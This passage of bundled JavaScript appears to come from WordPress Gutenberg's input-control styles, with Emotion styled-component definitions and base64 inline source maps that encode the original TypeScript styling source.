bmcsIGRyYWdDdXJzb3IgfTogSW5wdXRQcm9wcyApID0+IHtcblx0bGV0IGRlZmF1bHRBcnJvd1N0eWxlczogU2VyaWFsaXplZFN0eWxlcyB8IHVuZGVmaW5lZDtcblx0bGV0IGFjdGl2ZURyYWdDdXJzb3JTdHlsZXM6IFNlcmlhbGl6ZWRTdHlsZXMgfCB1bmRlZmluZWQ7XG5cblx0aWYgKCBpc0RyYWdnaW5nICkge1xuXHRcdGRlZmF1bHRBcnJvd1N0eWxlcyA9IGNzc2Bcblx0XHRcdGN1cnNvcjogJHsgZHJhZ0N1cnNvciB9O1xuXHRcdFx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cblx0XHRcdCY6Oi13ZWJraXQtb3V0ZXItc3Bpbi1idXR0b24sXG5cdFx0XHQmOjotd2Via2l0LWlubmVyLXNwaW4tYnV0dG9uIHtcblx0XHRcdFx0LXdlYmtpdC1hcHBlYXJhbmNlOiBub25lICFpbXBvcnRhbnQ7XG5cdFx0XHRcdG1hcmdpbjogMCAhaW1wb3J0YW50O1xuXHRcdFx0fVxuXHRcdGA7XG5cdH1cblxuXHRpZiAoIGlzRHJhZ2dpbmcgJiYgZHJhZ0N1cnNvciApIHtcblx0XHRhY3RpdmVEcmFnQ3Vyc29yU3R5bGVzID0gY3NzYFxuXHRcdFx0JjphY3RpdmUge1xuXHRcdFx0XHRjdXJzb3I6ICR7IGRyYWdDdXJzb3IgfTtcblx0XHRcdH1cblx0XHRgO1xuXHR9XG5cblx0cmV0dXJuIGNzc2Bcblx0XHQkeyBkZWZhdWx0QXJyb3dTdHlsZXMgfVxuXHRcdCR7IGFjdGl2ZURyYWdDdXJzb3JTdHlsZXMgfVxuXHRgO1xufTtcblxuLy8gVE9ETzogUmVzb2x2ZSBuZWVkIHRvIHVzZSAmJiYgdG8gaW5jcmVhc2Ugc3BlY2lmaWNpdHlcbi8vIGh0dHBzOi8vZ2l0aHViLmNvbS9Xb3JkUHJlc3MvZ3V0ZW5iZXJnL2lzc3Vlcy8xODQ4M1xuXG5leHBvcnQgY29uc3QgSW5wdXQgPSBzdHlsZWQuaW5wdXQ8IElucHV0UHJvcHMgPmBcblx0JiYmIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcblx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdGJvcmRlcjogbm9uZTtcblx0XHRib3gtc2hhZG93OiBub25lICFpbXBvcnRhbnQ7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0Zm9udC1mYW1pbHk6IGluaGVyaXQ7XG5cdFx0bWFyZ2luOiAwO1xuXHRcdG91dGxpbmU6IG5vbmU7XG5cdFx0d2lkdGg6IDEwMCU7XG5cblx0XHQkeyBkcmFnU3R5bGVzIH1cblx0XHQkeyBkaXNhYmxlZFN0eWxlcyB9XG5cdFx0JHsgZm9udFNpemVTdHlsZXMgfVxuXHRcdCR7IHNpemVTdHlsZXMgfVxuXHRcdCR7IGN1c3RvbVBhZGRpbmdzIH1cblxuXHRcdCY6Oi13ZWJraXQtaW5wdXQtcGxhY2Vob2xkZXIge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy51aS5kYXJrR3JheVBsYWNlaG9sZGVyIH07XG5cdFx0fVxuXG5cdFx0Jjo6LW1vei1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmOi1tcy1pbnB1dC1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmW3R5cGU9J2VtYWlsJ10sXG5cdFx0Jlt0eXBlPSd1cmwnXSB7XG5cdFx0XHQvKiBydGw6aWdub3JlICovXG5cdFx0XHRkaXJlY3Rpb246IGx0cjtcblx0XHR9XG5cdH1cbmA7XG5cbmNvbnN0IEJhc2VMYWJlbCA9IHN0eWxlZCggVGV4dCApPCB7IGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uIH0gPmBcblx0JiYmIHtcblx0XHQkeyBiYXNlTGFiZWxUeXBvZ3JhcGh5IH07XG5cblx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdHBhZGRpbmctdG9wOiAwO1xuXHRcdHBhZGRpbmctYm90dG9tOiAwO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0XHR6LWluZGV4OiAxO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgTGFiZWwgPSAoXG5cdHByb3BzOiBXb3JkUHJlc3NDb21wb25lbnRQcm9wczxcblx0XHR7IGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uOyBjaGlsZHJlbjogUmVhY3ROb2RlIH0sXG5cdFx0J2xhYmVsJyxcblx0XHRmYWxzZVxuXHQ+XG4pID0+IDxCYXNlTGFiZWwgeyAuLi5wcm9wcyB9IGFzPVwibGFiZWxcIiAvPjtcblxuZXhwb3J0IGNvbnN0IExhYmVsV3JhcHBlciA9IHN0eWxlZCggRmxleEl0ZW0gKWBcblx0bWF4LXdpZHRoOiBjYWxjKCAxMDAlIC0gMTBweCApO1xuYDtcblxuY29uc3QgcHJlZml4U3VmZml4V3JhcHBlclN0eWxlcyA9ICgge1xuXHR2YXJpYW50ID0gJ2RlZmF1bHQnLFxuXHRzaXplLFxuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG5cdGlzUHJlZml4LFxufTogUHJlZml4U3VmZml4V3JhcHBlclByb3BzICYgeyBpc1ByZWZpeD86IGJvb2xlYW4gfSApID0+IHtcblx0Y29uc3QgeyBwYWRkaW5nTGVmdDogcGFkZGluZyB9ID0gZ2V0U2l6ZUNvbmZpZygge1xuXHRcdGlucHV0U2l6ZTogc2l6ZSxcblx0XHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG5cdH0gKTtcblxuXHRjb25zdCBwYWRkaW5nUHJvcGVydHkgPSBpc1ByZWZpeFxuXHRcdD8gJ3BhZGRpbmdJbmxpbmVTdGFydCdcblx0XHQ6ICdwYWRkaW5nSW5saW5lRW5kJztcblxuXHRpZiAoIHZhcmlhbnQgPT09ICdkZWZhdWx0JyApIHtcblx0XHRyZXR1cm4gY3NzKCB7XG5cdFx0XHRbIHBhZGRpbmdQcm9wZXJ0eSBdOiBwYWRkaW5nLFxuXHRcdH0gKTtcblx0fVxuXG5cdC8vIElmIHZhcmlhbnQgaXMgJ2ljb24nIG9yICdjb250cm9sJ1xuXHRyZXR1cm4gY3NzKCB7XG5cdFx0ZGlzcGxheTogJ2ZsZXgnLFxuXHRcdFsgcGFkZGluZ1Byb3BlcnR5IF06IHBhZGRpbmcgLSA0LFxuXHR9ICk7XG59O1xuXG5leHBvcnQgY29uc3QgUHJlZml4U3VmZml4V3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdCR7IHByZWZpeFN1ZmZpeFdyYXBwZXJTdHlsZXMgfVxuYDtcbiJdfQ== */"));
24482 var Root = /* @__PURE__ */ createStyled(component_default3, false ? {
24483 target: "em5sgkm5"
24484 } : {
24485 target: "em5sgkm5",
24486 label: "Root"
24487 })("box-sizing:border-box;position:relative;border-radius:", config_values_default.radiusSmall, ";padding-top:0;&:focus-within:not( :has( :is( ", Prefix, ", ", Suffix, " ):focus-within ) ){", BackdropUI, "{border-color:", COLORS.ui.borderFocus, ";box-shadow:", config_values_default.controlBoxShadowFocus, ";outline:2px solid transparent;outline-offset:-2px;}}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImlucHV0LWNvbnRyb2wtc3R5bGVzLnRzeCJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUE0RWtDIiwiZmlsZSI6ImlucHV0LWNvbnRyb2wtc3R5bGVzLnRzeCIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgU2VyaWFsaXplZFN0eWxlcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB0eXBlIHsgQ1NTUHJvcGVydGllcywgUmVhY3ROb2RlIH0gZnJvbSAncmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgdHlwZSB7IFdvcmRQcmVzc0NvbXBvbmVudFByb3BzIH0gZnJvbSAnLi4vLi4vY29udGV4dCc7XG5pbXBvcnQgeyBGbGV4LCBGbGV4SXRlbSB9IGZyb20gJy4uLy4uL2ZsZXgnO1xuaW1wb3J0IHsgVGV4dCB9IGZyb20gJy4uLy4uL3RleHQnO1xuaW1wb3J0IHsgYmFzZUxhYmVsVHlwb2dyYXBoeSwgQ09MT1JTLCBDT05GSUcsIHJ0bCB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgTGFiZWxQb3NpdGlvbiwgU2l6ZSwgUHJlZml4U3VmZml4V3JhcHBlclByb3BzIH0gZnJvbSAnLi4vdHlwZXMnO1xuXG50eXBlIENvbnRhaW5lclByb3BzID0ge1xuXHRkaXNhYmxlZD86IGJvb2xlYW47XG5cdGhpZGVMYWJlbD86IGJvb2xlYW47XG5cdF9fdW5zdGFibGVJbnB1dFdpZHRoPzogQ1NTUHJvcGVydGllc1sgJ3dpZHRoJyBdO1xuXHRsYWJlbFBvc2l0aW9uPzogTGFiZWxQb3NpdGlvbjtcbn07XG5cbmV4cG9ydCBjb25zdCBQcmVmaXggPSBzdHlsZWQuc3BhbmBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogYmxvY2s7XG5gO1xuXG5leHBvcnQgY29uc3QgU3VmZml4ID0gc3R5bGVkLnNwYW5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGFsaWduLXNlbGY6IHN0cmV0Y2g7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGRpc3BsYXk6IGZsZXg7XG5gO1xuXG50eXBlIEJhY2tkcm9wUHJvcHMgPSB7XG5cdGRpc2FibGVkPzogYm9vbGVhbjtcblx0aXNCb3JkZXJsZXNzPzogYm9vbGVhbjtcbn07XG5cbmNvbnN0IGJhY2tkcm9wQm9yZGVyQ29sb3IgPSAoIHtcblx0ZGlzYWJsZWQsXG5cdGlzQm9yZGVybGVzcyxcbn06IEJhY2tkcm9wUHJvcHMgKTogQ1NTUHJvcGVydGllc1sgJ2JvcmRlckNvbG9yJyBdID0+IHtcblx0aWYgKCBpc0JvcmRlcmxlc3MgKSB7XG5cdFx0cmV0dXJuICd0cmFuc3BhcmVudCc7XG5cdH1cblxuXHRpZiAoIGRpc2FibGVkICkge1xuXHRcdHJldHVybiBDT0xPUlMudWkuYm9yZGVyRGlzYWJsZWQ7XG5cdH1cblxuXHRyZXR1cm4gQ09MT1JTLnVpLmJvcmRlcjtcbn07XG5cbmV4cG9ydCBjb25zdCBCYWNrZHJvcFVJID0gc3R5bGVkLmRpdjwgQmFja2Ryb3BQcm9wcyA+YFxuXHQmJiYge1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0Ym9yZGVyLWNvbG9yOiAkeyBiYWNrZHJvcEJvcmRlckNvbG9yIH07XG5cdFx0Ym9yZGVyLXJhZGl1czogaW5oZXJpdDtcblx0XHRib3JkZXItc3R5bGU6IHNvbGlkO1xuXHRcdGJvcmRlci13aWR0aDogMXB4O1xuXHRcdGJvdHRvbTogMDtcblx0XHRsZWZ0OiAwO1xuXHRcdG1hcmdpbjogMDtcblx0XHRwYWRkaW5nOiAwO1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRyaWdodDogMDtcblx0XHR0b3A6IDA7XG5cblx0XHQkeyBydGwoIHsgcGFkZGluZ0xlZnQ6IDIgfSApIH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFJvb3QgPSBzdHlsZWQoIEZsZXggKWBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblx0cGFkZGluZy10b3A6IDA7XG5cblx0Ly8gRm9jdXMgd2l0aGluLCBleGNsdWRpbmcgY2FzZXMgd2hlcmUgYXV4aWxpYXJ5IGNvbnRyb2xzIGluIHByZWZpeCBvciBzdWZmaXggaGF2ZSBmb2N1cy5cblx0Jjpmb2N1cy13aXRoaW46bm90KCA6aGFzKCA6aXMoICR7IFByZWZpeCB9LCAkeyBTdWZmaXggfSApOmZvY3VzLXdpdGhpbiApICkge1xuXHRcdCR7IEJhY2tkcm9wVUkgfSB7XG5cdFx0XHRib3JkZXItY29sb3I6ICR7IENPTE9SUy51aS5ib3JkZXJGb2N1cyB9O1xuXHRcdFx0Ym94LXNoYWRvdzogJHsgQ09ORklHLmNvbnRyb2xCb3hTaGFkb3dGb2N1cyB9O1xuXHRcdFx0Ly8gV2luZG93cyBIaWdoIENvbnRyYXN0IG1vZGUgd2lsbCBzaG93IHRoaXMgb3V0bGluZSwgYnV0IG5vdCB0aGUgYm94LXNoYWRvdy5cblx0XHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHRcdG91dGxpbmUtb2Zmc2V0OiAtMnB4O1xuXHRcdH1cblx0fVxuYDtcblxuY29uc3QgY29udGFpbmVyRGlzYWJsZWRTdHlsZXMgPSAoIHsgZGlzYWJsZWQgfTogQ29udGFpbmVyUHJvcHMgKSA9PiB7XG5cdGNvbnN0IGJhY2tncm91bmRDb2xvciA9IGRpc2FibGVkXG5cdFx0PyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkXG5cdFx0OiBDT0xPUlMudWkuYmFja2dyb3VuZDtcblxuXHRyZXR1cm4gY3NzKCB7IGJhY2tncm91bmRDb2xvciB9ICk7XG59O1xuXG5jb25zdCBjb250YWluZXJXaWR0aFN0eWxlcyA9ICgge1xuXHRfX3Vuc3RhYmxlSW5wdXRXaWR0aCxcblx0bGFiZWxQb3NpdGlvbixcbn06IENvbnRhaW5lclByb3BzICkgPT4ge1xuXHRpZiAoICEgX191bnN0YWJsZUlucHV0V2lkdGggKSB7XG5cdFx0cmV0dXJuIGNzcyggeyB3aWR0aDogJzEwMCUnIH0gKTtcblx0fVxuXG5cdGlmICggbGFiZWxQb3NpdGlvbiA9PT0gJ3NpZGUnICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdGlmICggbGFiZWxQb3NpdGlvbiA9PT0gJ2VkZ2UnICkge1xuXHRcdHJldHVybiBjc3MoIHtcblx0XHRcdGZsZXg6IGAwIDAgJHsgX191bnN0YWJsZUlucHV0V2lkdGggfWAsXG5cdFx0fSApO1xuXHR9XG5cblx0cmV0dXJuIGNzcyggeyB3aWR0aDogX191bnN0YWJsZUlucHV0V2lkdGggfSApO1xufTtcblxuZXhwb3J0IGNvbnN0IENvbnRhaW5lciA9IHN0eWxlZC5kaXY8IENvbnRhaW5lclByb3BzID5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGJvcmRlci1yYWRpdXM6IGluaGVyaXQ7XG5cdGRpc3BsYXk6IGZsZXg7XG5cdGZsZXg6IDE7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblxuXHQkeyBjb250YWluZXJEaXNhYmxlZFN0eWxlcyB9XG5cdCR7IGNvbnRhaW5lcldpZHRoU3R5bGVzIH1cbmA7XG5cbnR5cGUgSW5wdXRQcm9wcyA9IHtcblx0X19uZXh0NDBweERlZmF1bHRTaXplPzogYm9vbGVhbjtcblx0ZGlzYWJsZWQ/OiBib29sZWFuO1xuXHRpbnB1dFNpemU/OiBTaXplO1xuXHRpc0RyYWdnaW5nPzogYm9vbGVhbjtcblx0ZHJhZ0N1cnNvcj86IENTU1Byb3BlcnRpZXNbICdjdXJzb3InIF07XG5cdHBhZGRpbmdJbmxpbmVTdGFydD86IENTU1Byb3BlcnRpZXNbICdwYWRkaW5nSW5saW5lU3RhcnQnIF07XG5cdHBhZGRpbmdJbmxpbmVFbmQ/OiBDU1NQcm9wZXJ0aWVzWyAncGFkZGluZ0lubGluZUVuZCcgXTtcbn07XG5cbmNvbnN0IGRpc2FibGVkU3R5bGVzID0gKCB7IGRpc2FibGVkIH06IElucHV0UHJvcHMgKSA9PiB7XG5cdGlmICggISBkaXNhYmxlZCApIHtcblx0XHRyZXR1cm4gJyc7XG5cdH1cblxuXHRyZXR1cm4gY3NzKCB7XG5cdFx0Y29sb3I6IENPTE9SUy51aS50ZXh0RGlzYWJsZWQsXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBmb250U2l6ZVN0eWxlcyA9ICggeyBpbnB1dFNpemU6IHNpemUgfTogSW5wdXRQcm9wcyApID0+IHtcblx0Y29uc3Qgc2l6ZXMgPSB7XG5cdFx0ZGVmYXVsdDogJzEzcHgnLFxuXHRcdHNtYWxsOiAnMTFweCcsXG5cdFx0Y29tcGFjdDogJzEzcHgnLFxuXHRcdCdfX3Vuc3RhYmxlLWxhcmdlJzogJzEzcHgnLFxuXHR9O1xuXG5cdGNvbnN0IGZvbnRTaXplID0gc2l6ZXNbIHNpemUgYXMgU2l6ZSBdIHx8IHNpemVzLmRlZmF1bHQ7XG5cdGNvbnN0IGZvbnRTaXplTW9iaWxlID0gJzE2cHgnO1xuXG5cdGlmICggISBmb250U2l6ZSApIHtcblx0XHRyZXR1cm4gJyc7XG5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdGZvbnQtc2l6ZTogJHsgZm9udFNpemVNb2JpbGUgfTtcblxuXHRcdEBtZWRpYSAoIG1pbi13aWR0aDogNjAwcHggKSB7XG5cdFx0XHRmb250LXNpemU6ICR7IGZvbnRTaXplIH07XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGdldFNpemVDb25maWcgPSAoIHtcblx0aW5wdXRTaXplOiBzaXplLFxuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG59OiBJbnB1dFByb3BzICkgPT4ge1xuXHQvLyBQYWRkaW5ncyBtYXkgYmUgb3ZlcnJpZGRlbiBieSB0aGUgY3VzdG9tIHBhZGRpbmdzIHByb3BzLlxuXHRjb25zdCBzaXplcyA9IHtcblx0XHRkZWZhdWx0OiB7XG5cdFx0XHRoZWlnaHQ6IDQwLFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogNDAsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcblx0XHRcdHBhZGRpbmdSaWdodDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcblx0XHR9LFxuXHRcdHNtYWxsOiB7XG5cdFx0XHRoZWlnaHQ6IDI0LFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogMjQsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0fSxcblx0XHRjb21wYWN0OiB7XG5cdFx0XHRoZWlnaHQ6IDMyLFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogMzIsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0fSxcblx0XHQnX191bnN0YWJsZS1sYXJnZSc6IHtcblx0XHRcdGhlaWdodDogNDAsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiA0MCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdH0sXG5cdH07XG5cblx0aWYgKCAhIF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSApIHtcblx0XHRzaXplcy5kZWZhdWx0ID0gc2l6ZXMuY29tcGFjdDtcblx0fVxuXG5cdHJldHVybiBzaXplc1sgc2l6ZSBhcyBTaXplIF0gfHwgc2l6ZXMuZGVmYXVsdDtcbn07XG5cbmNvbnN0IHNpemVTdHlsZXMgPSAoIHByb3BzOiBJbnB1dFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzKCBnZXRTaXplQ29uZmlnKCBwcm9wcyApICk7XG59O1xuXG5jb25zdCBjdXN0b21QYWRkaW5ncyA9ICgge1xuXHRwYWRkaW5nSW5saW5lU3RhcnQsXG5cdHBhZGRpbmdJbmxpbmVFbmQsXG59OiBJbnB1dFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzKCB7IHBhZGRpbmdJbmxpbmVTdGFydCwgcGFkZGluZ0lubGluZUVuZCB9ICk7XG59O1xuXG5jb25zdCBkcmFnU3R5bGVzID0gKCB7IGlzRHJhZ2dpbmcsIGRyYWdDdXJzb3IgfTogSW5wdXRQcm9wcyApID0+IHtcblx0bGV0IGRlZmF1bHRBcnJvd1N0eWxlczogU2VyaWFsaXplZFN0eWxlcyB8IHVuZGVmaW5lZDtcblx0bGV0IGFjdGl2ZURyYWdDdXJzb3JTdHlsZXM6IFNlcmlhbGl6ZWRTdHlsZXMgfCB1bmRlZmluZWQ7XG5cblx0aWYgKCBpc0RyYWdnaW5nICkge1xuXHRcdGRlZmF1bHRBcnJvd1N0eWxlcyA9IGNzc2Bcblx0XHRcdGN1cnNvcjogJHsgZHJhZ0N1cnNvciB9O1xuXHRcdFx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cblx0XHRcdCY6Oi13ZWJraXQtb3V0ZXItc3Bpbi1idXR0b24sXG5cdFx0XHQmOjotd2Via2l0LWlubmVyLXNwaW4tYnV0dG9uIHtcblx0XHRcdFx0LXdlYmtpdC1hcHBlYXJhbmNlOiBub25lICFpbXBvcnRhbnQ7XG5cdFx0XHRcdG1hcmdpbjogMCAhaW1wb3J0YW50O1xuXHRcdFx0fVxuXHRcdGA7XG5cdH1cblxuXHRpZiAoIGlzRHJhZ2dpbmcgJiYgZHJhZ0N1cnNvciApIHtcblx0XHRhY3RpdmVEcmFnQ3Vyc29yU3R5bGVzID0gY3NzYFxuXHRcdFx0JjphY3RpdmUge1xuXHRcdFx0XHRjdXJzb3I6ICR7IGRyYWdDdXJzb3IgfTtcblx0XHRcdH1cblx0XHRgO1xuXHR9XG5cblx0cmV0dXJuIGNzc2Bcblx0XHQkeyBkZWZhdWx0QXJyb3dTdHlsZXMgfVxuXHRcdCR7IGFjdGl2ZURyYWdDdXJzb3JTdHlsZXMgfVxuXHRgO1xufTtcblxuLy8gVE9ETzogUmVzb2x2ZSBuZWVkIHRvIHVzZSAmJiYgdG8gaW5jcmVhc2Ugc3BlY2lmaWNpdHlcbi8vIGh0dHBzOi8vZ2l0aHViLmNvbS9Xb3JkUHJlc3MvZ3V0ZW5iZXJnL2lzc3Vlcy8xODQ4M1xuXG5leHBvcnQgY29uc3QgSW5wdXQgPSBzdHlsZWQuaW5wdXQ8IElucHV0UHJvcHMgPmBcblx0JiYmIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcblx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdGJvcmRlcjogbm9uZTtcblx0XHRib3gtc2hhZG93OiBub25lICFpbXBvcnRhbnQ7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0Zm9udC1mYW1pbHk6IGluaGVyaXQ7XG5cdFx0bWFyZ2luOiAwO1xuXHRcdG91dGxpbmU6IG5vbmU7XG5cdFx0d2lkdGg6IDEwMCU7XG5cblx0XHQkeyBkcmFnU3R5bGVzIH1cblx0XHQkeyBkaXNhYmxlZFN0eWxlcyB9XG5cdFx0JHsgZm9udFNpemVTdHlsZXMgfVxuXHRcdCR7IHNpemVTdHlsZXMgfVxuXHRcdCR7IGN1c3RvbVBhZGRpbmdzIH1cblxuXHRcdCY6Oi13ZWJraXQtaW5wdXQtcGxhY2Vob2xkZXIge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy51aS5kYXJrR3JheVBsYWNlaG9sZGVyIH07XG5cdFx0fVxuXG5cdFx0Jjo6LW1vei1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmOi1tcy1pbnB1dC1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmW3R5cGU9J2VtYWlsJ10sXG5cdFx0Jlt0eXBlPSd1cmwnXSB7XG5cdFx0XHQvKiBydGw6aWdub3JlICovXG5cdFx0XHRkaXJlY3Rpb246IGx0cjtcblx0XHR9XG5cdH1cbmA7XG5cbmNvbnN0IEJhc2VMYWJlbCA9IHN0eWxlZCggVGV4dCApPCB7IGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uIH0gPmBcblx0JiYmIHtcblx0XHQkeyBiYXNlTGFiZWxUeXBvZ3JhcGh5IH07XG5cblx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdHBhZGRpbmctdG9wOiAwO1xuXHRcdHBhZGRpbmctYm90dG9tOiAwO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0XHR6LWluZGV4OiAxO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgTGFiZWwgPSAoXG5cdHByb3BzOiBXb3JkUHJlc3NDb21wb25lbnRQcm9wczxcblx0XHR7IGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uOyBjaGlsZHJlbjogUmVhY3ROb2RlIH0sXG5cdFx0J2xhYmVsJyxcblx0XHRmYWxzZVxuXHQ+XG4pID0+IDxCYXNlTGFiZWwgeyAuLi5wcm9wcyB9IGFzPVwibGFiZWxcIiAvPjtcblxuZXhwb3J0IGNvbnN0IExhYmVsV3JhcHBlciA9IHN0eWxlZCggRmxleEl0ZW0gKWBcblx0bWF4LXdpZHRoOiBjYWxjKCAxMDAlIC0gMTBweCApO1xuYDtcblxuY29uc3QgcHJlZml4U3VmZml4V3JhcHBlclN0eWxlcyA9ICgge1xuXHR2YXJpYW50ID0gJ2RlZmF1bHQnLFxuXHRzaXplLFxuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG5cdGlzUHJlZml4LFxufTogUHJlZml4U3VmZml4V3JhcHBlclByb3BzICYgeyBpc1ByZWZpeD86IGJvb2xlYW4gfSApID0+IHtcblx0Y29uc3QgeyBwYWRkaW5nTGVmdDogcGFkZGluZyB9ID0gZ2V0U2l6ZUNvbmZpZygge1xuXHRcdGlucHV0U2l6ZTogc2l6ZSxcblx0XHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG5cdH0gKTtcblxuXHRjb25zdCBwYWRkaW5nUHJvcGVydHkgPSBpc1ByZWZpeFxuXHRcdD8gJ3BhZGRpbmdJbmxpbmVTdGFydCdcblx0XHQ6ICdwYWRkaW5nSW5saW5lRW5kJztcblxuXHRpZiAoIHZhcmlhbnQgPT09ICdkZWZhdWx0JyApIHtcblx0XHRyZXR1cm4gY3NzKCB7XG5cdFx0XHRbIHBhZGRpbmdQcm9wZXJ0eSBdOiBwYWRkaW5nLFxuXHRcdH0gKTtcblx0fVxuXG5cdC8vIElmIHZhcmlhbnQgaXMgJ2ljb24nIG9yICdjb250cm9sJ1xuXHRyZXR1cm4gY3NzKCB7XG5cdFx0ZGlzcGxheTogJ2ZsZXgnLFxuXHRcdFsgcGFkZGluZ1Byb3BlcnR5IF06IHBhZGRpbmcgLSA0LFxuXHR9ICk7XG59O1xuXG5leHBvcnQgY29uc3QgUHJlZml4U3VmZml4V3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdCR7IHByZWZpeFN1ZmZpeFdyYXBwZXJTdHlsZXMgfVxuYDtcbiJdfQ== */"));
24488 var containerDisabledStyles = ({
24489 disabled
24490 }) => {
24491 const backgroundColor = disabled ? COLORS.ui.backgroundDisabled : COLORS.ui.background;
24492 return /* @__PURE__ */ css({
24493 backgroundColor
